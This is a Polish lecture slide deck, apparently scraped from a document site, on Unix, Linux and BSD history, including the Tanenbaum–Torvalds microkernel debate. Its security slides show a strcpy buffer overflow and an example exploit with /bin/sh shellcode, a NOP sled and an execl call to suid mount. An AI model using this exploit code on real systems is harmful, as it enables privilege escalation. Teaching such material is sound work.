other than the fact linux has a cool name, could someone...

34
1939-1991 > > Other than the fact Linux has a cool name, could someone explain why I should use > > Linux over BSD? > > No.  That's it.  The cool name, that is.  We worked very hard on creating a name that would > appeal to the majority of people, and it certainly paid off: thousands of people are using > linux just to be able to say "OS/2? Hah.  I've got Linux.  What a cool name".   --  Linus Torvalds Piotr Grzybowski

Upload: others

Post on 29-Jan-2021

4 views

Category:

Documents


0 download

TRANSCRIPT

  • 19391991> > Other than the fact Linux has a cool name, could someone explain why I should use 

    > > Linux over BSD?

    >

    > No.  That's it.  The cool name, that is.  We worked very hard on creating a name that would 

    > appeal to the majority of people, and it certainly paid off: thousands of people are using 

    > linux just to be able to say "OS/2? Hah.  I've got Linux.  What a cool name".

        Linus Torvalds

    Piotr Grzybowski

  • o czym bedzie Poczatki

    Nowy Lad

    Wymiana ognia

    Bezpieczenstwo

    Przyszlosc

    Przewidywania

  • rys historyczny Dawno, dawno temu

    Pierwsze maszyny

    Ludzie przed swoimi niesamowitymi maszynami

    Galeria Slaw

    Nowa Era

    Wspaniala Rodzina

    Przyszlosc vs Przeszlosc

  • poczatek ..

    W 1937, George Stibitz zauwazyl ze

    elektromechaniczne przekazniki z central

    telefonicznych nadaja sie do czegos innego.

    Z przekaznikow, migajacych zarowek i puszki na tyton, zbudowal pierwszy binarny

    sumator.

  • pierwszy komputer

    W 1939, Stibitz i S.B. Williams zbudowali Complex Number Calculator, I elektryczny komputer cyfrowy. Skladal sie z 450 przekaznikow tel. i10 poprzecznych przelacznikow. Umial podzielic dwie 8-cyrfowe liczby zespolone. Tylko trzy Maszynistki wprowadzaly dane.

  • pierwsze RPC

    W 1940, Stibitz wzial jedna ze swoich “teletypewriters” na spotkanie American Mathematical Association w Dartmouth, New Hampshire i przez linie TELEFONICZNA polaczyl sie z “Complex Number Calculator” w Nowym Jorku. Byla to pierwsza demonstracja “remote computing”.

  • 10 lat CNC ..

    CNC (Complex Number Calculator), pozniej nazwany “Model 1 Relay Computer” dzialal przez 10 lat do 1949.

  • w 20 lat pozniej. We wrzesniu 1969 roku rozpoczyna sie era unixa. BTL, GE i MIT zlecaja stworzenie SO dla duzej maszyny. Dennis Ritchie i Kenneth Thompson tworza “UNICS (UNiplexed Information and Computing Service)”a Jezyk: BCPL (Basic Combined Programming Language), potem B, maszyna: PDP-11.

  • Den & Ken

  • maszyny

  • maszyny

  • inne

  • Hall Of Fame

    Linus TorvaldsKen Thompson

    Bill Joy Richard Stallman

    Brian Kernighan

    Dennis Ritchie

  • Pierwsze lata

  • Narodziny BSD

  • Narodziny BSD

  • 2004/ 2005

  • Przeszlosc vs Przyszlosc

  • Tanenbaum vs [email protected] (Andy Tanenbaum) 

    [email protected] (Linus Benedict Torvalds)newsgroups: comp.os.minix

    Subject: LINUX is obsoleteDate: 29 Jan 92 12:12:50 GMT

    MINIX to hobby, zajmuje sie nim kiedy znudzi mnie pisanie ksiazek, nie ma wiekszych wojen, rewolucji, lub przesluchan senatu na CNNie. Jestem profesoremi badaczem w dziedzinie systemow operacyjnych

    Uzywasz tego jako usprawiedliwienia dla ograniczen MINIXA? Sorry, ale przegrywasz: mam wiecej wymowek a linux wciaz bije na leb na szyje minixa w prawie kazdej dziedzinie

  • Tanenbaum vs Linus

    Wiekszosc starych systemow operacyjnych jest monolityczna, czyli caly system jest jednym plikiem a.out ktory chodzi w “kernel mode”. Zawiera process&memory management, fs i cala reszte. Przyklady: UNIX, VMS, OS/360, MULTICS.

    Alternatywa jest system oparty na mikro-jadrze, w ktorym wiekszosc SO chodzi jako osobne procesy, poza jadrem. Komunikuja sie poprzez “message passing”. Jadro zajmuje sie przesylaniem komunikatow, itp. Przyklady: RC4000 Amoeba, Chorus, Mach.

    Podczas gdy moglbym snuc dluga historie o przewadze jednego rozwiazania nad drugim, wystarczy powiedziec ze posrod ludzi ktorzy projektuja systemy debata jest skonczona. “Microkernels have won.”. Linux jest monolityczny. “writing a monolithic system in 1991 is a truly poor idea.”

    Monolithic vs micro

  • Tanenbaum vs Linus

    Fakt, linux jest monolityczny i zgadzam sie z tym ze mikrojadra sa ladniejsze. Z teoretycznego (i estetycznego) punktu widzenia linux przegrywa. Gdyby GNU kernel byl gotowy zeszlej wiosny, nie zaczalbym. “Linux wins heavily on points being available now.”

    Tworzysz minixa jako hobby – patrz kto na nim zarabia a kto daje linuxa za darmo. Linux to hobby (powazne), nie biore za niego pieniedzy, nie jest czescia moich studiow.

    Twoja praca to profesor i badacz: “That's one hell of a good excuse for some of the brain-damages of minix. I can only hope that Amoeba doesn't suck like minix does.”

    Monolithic vs micro

  • Tanenbaum vs Linus

    Dawno temu bylo 4004 CPU, potem 8008, 8080, 8086, 8088, 80286, ktore przeszlo w 80386, potem 80486 itd do Ntej generacji. W miedzy czasie powstal RISC. To one zastapia linie 80x86. Beda interpretowaly 80386 softwarowo.

    Nie zrozum mnie zle, nie jestem niezadowolony z LINUXA. “It will get all the people who want to turn MINIX in BSD UNIX off my back.”.

    portability

    Ale szczerze mowiac uwazam ze ludzie szukajacy **NOWOCZESNEGO** “darmowego” SO zwroca sie w strone mikrojadra.

  • Tanenbaum vs Linus

    “Portability is for people who cannot write new programs.”

    Zgadzam sie ze portowalnosc jest dobra rzecza, ale tylko tam gdzie ma jakies znaczenie. System operacyjny ma za zadanie uzywac wlasciwosci sprzetu i chowac je za warstwa wysoko-poziomowych wywolan.

    Zgadzam sie tez ze linux doprowadza nie-portowalnosc do granic: w Styczniu zeszlego roku dostalem swoje 386 i linux byl projektem ktory mial mnie go nauczyc.

    portability

  • Tanenbaum vs Linus

    Jesli grupa ludzi chce modyfikowac jeden kod, w porzadku. Mysle ze koordynowac 1000 prima donn na calym swiecie bedzie proste jak pasc koty.

    Linus chce miec kontrole nad oficialna wersja, a grupa napalonych bobrow chce isc w innym kierunku. Problemem jest koordynacja.

    wielu programistow

    Nadal stoje na stanowisku ze projekotwanie monolitycznego jadra w 1991 jest fundamentalnym bledem. Ciesz sie ze nie jestes moim studentem. Nie dostalbys wyskokiego stopnia za taki projekt.

  • Tanenbaum vs Linus

    “Here's my standing on ''keeping control'', in 2 words (three?):

    I won't.”

    Wlasciwie mysle nad czyms w rodzaju listy dyskusyjnej “linux-kernel” na ktorej podejmowane byly by decyzje o nastepnych wersjach.

    “Well, I probably won't get too good grades even without you.”

    wielu programistow

  • Tanenbaum vs Linus

    mikrokernel jest tak samo dobry jak monolit

    software powinien byc darmowy

    historia zdecydowala

    conclusions

  • Benchmarks

    socket();

  • Benchmarks

    mmap();

  • Bezpieczenstwo

    Programy “suid”

    “Smash the stack for fun and profit”

    Rootkits & LKM

    Przyklad

  • Bezpieczenstwo

    #ls -al /usr/bin/passwd-rwsr-xr-x root root 26584 Oct 25 2003 /usr/bin/passwd

    #chmod +s /tmp/exploit

    set user/group on execution

    Co jesli program ma bledy?

    Co jesli zostal zle napisany?

  • Bezpieczenstwo

    stack

    PUSH POPx86 CPU

    Text

    (Initialized)Data

    (Uninitialized)

    Stack

    nizsze adresy

    wyzsze adresy

  • Bezpieczenstwo

    buffer overflowvoid function(char *str) { char buffer[16];

    strcpy(buffer,str);}

    void main() { char large_string[256]; int i;

    for( i = 0; i < 255; i++) large_string[i] = 'A';

    function(large_string);}

    top bottom

  • Bezpieczenstwoprzykladowy exploit

    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" 

    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

    ptr += BUFFER_SIZE-strlen(execshell);

    for(i=0;i < strlen(execshell);i++)

    *(ptr++) = execshell[i];

    for(i=0;i < (8/4);i++)

    *(addr_ptr++) = get_esp() + ofs;

    ptr = (char *)addr_ptr;

    execl(PATH_MOUNT, "mount", buff, NULL);

  • PRZYSZLOSC“Space, the final frontier”

    darmowe oprogramowanie

    jadro monolityczne

    nowe systemy na bazie jadra BSD

    linux przyszedl i zostanie

    bezpieczenstwo jest priorytetem

    kazdy moze miec wielki wklad w historie